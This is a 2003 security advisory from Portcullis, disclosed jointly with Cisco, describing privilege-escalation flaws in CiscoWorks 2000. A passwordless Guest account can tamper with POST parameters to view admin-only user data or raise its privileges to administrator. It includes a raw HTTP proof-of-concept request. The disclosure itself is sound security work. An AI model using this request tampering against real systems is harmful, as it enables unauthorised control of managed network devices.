Portcullis Security Advisory: CiscoWorks 2000 Privilege Escalatio n Vulnerabilities

From: Omicron@portcullis-security.com
Date: Wed Aug 13 2003 - 07:50:03 PDT

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    Portcullis Security Advisory
    
    CiscoWorks 2000 Priviledge Escalation Vulnerability
    
    Vulnerability discovery and development: 
    
    Omicron@portcullis-security.com
    
    Affected systems: 
    
    Ciscoworks 2000
    
    Details:
    
    Portcullis have discovered that using the default Guest account 
    which has no password set, that it is possible to view page information
    that the user should not have access to.
    
    Whilst requesting certain pages the raw HTTP shows a statement
    of who the logged on user is:
    
    HTTP/1.1 200 OK 
    Date: Tue, 01 Jul 2003 13:01:12 GMT 
    Server: Apache/1.3.24 (Unix) mod_perl/1.26 
    Content-Length: 5 
    Connection: close 
    Content-Type: text/html  
    
    guest
    
    By replacing guest with admin and using POST to sent on the information, 
    (for the Modify\delete users page) the system responds with information
    on all the users on the site IE:
    
    user1::::7 user2::::2 portcullis:portcullisat_private:::3F admin::::F
    guest::admin::0
    
    This allows Guest to then view information restricted to the Admin account
    on all users on the system.
    
    
    Impact:
    
    Users are able to view information restricted to Administrators
    
    Exploit:
    
    As described in Details, edit raw HTML requests and replace user with a
    known one of higher privileges.
    
    
    Vendor Status:
    
    Vendor Confirmed.
    
    Following discussions with the vendor, Portcullis agreed to joint
    advisories. The Cisco advisory can be found at the following URL. 
    
    http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml
    
    
    Portcullis Security Advisory
    
    CiscoWorks 2000 Privilege Escalation Vulnerability
    
    Vulnerability discovery and development: 
    
    Omicron@portcullis-security.com
    
    Affected systems: 
    
    Ciscoworks 2000
    
    Details:
    
    Portcullis have discovered that using the default Guest account 
    which has no password set, that it is possible to elevate the Guest
    users privileges to the equivalent of Admin. Following this a new user
    account can be created with full rights and complete access to the 
    systems managed by Ciscoworks.  
    
    When submitting changes to the user account, the raw HTML shows 
    the users information in the following string:
    
    cmd=modifyUser&name=guest&pwd=cGFzc3dvcmQ%3D&email=test%0test.com&ccoId=&cco
    Pwd=&proxyId=&proxyPwd=&priviledges=0
    
    From information obtained it is possible to change the users privileges from
    0 to F where F is the code for Admin rights.
    
    The Guest account can now create a new user with all available security
    options.
    
    Impact:
    
    Once access has been achieved, an attacker has complete control over
    all Cisco devices managed by Ciscoworks. 
    
    Exploit:
    
    The following is provided as proof of concept.  
    
    POST /CSCOnm/servlet/com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0 
    Accept-Language: en 
    Content-Type: application/x-www-form-urlencoded 
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) 
    Host: 10.10.10.1:1741 
    Content-Length: 114 
    Proxy-Connection: Keep-Alive 
    Pragma: no-cache 
    Cookie: jrunsessionid=1057059156201223367  
    
    cmd=modifyUser&name=guest&pwd=&email=&ccoId=&ccoPwd=&proxyId=&proxyPwd=&priv
    iledges=0
    
    Vendor Status:
    
    Vendor Confirmed.
    
    Following discussions with the vendor, Portcullis agreed to joint
    advisories. The Cisco advisory can be found at the following URL. 
    
    http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml
    
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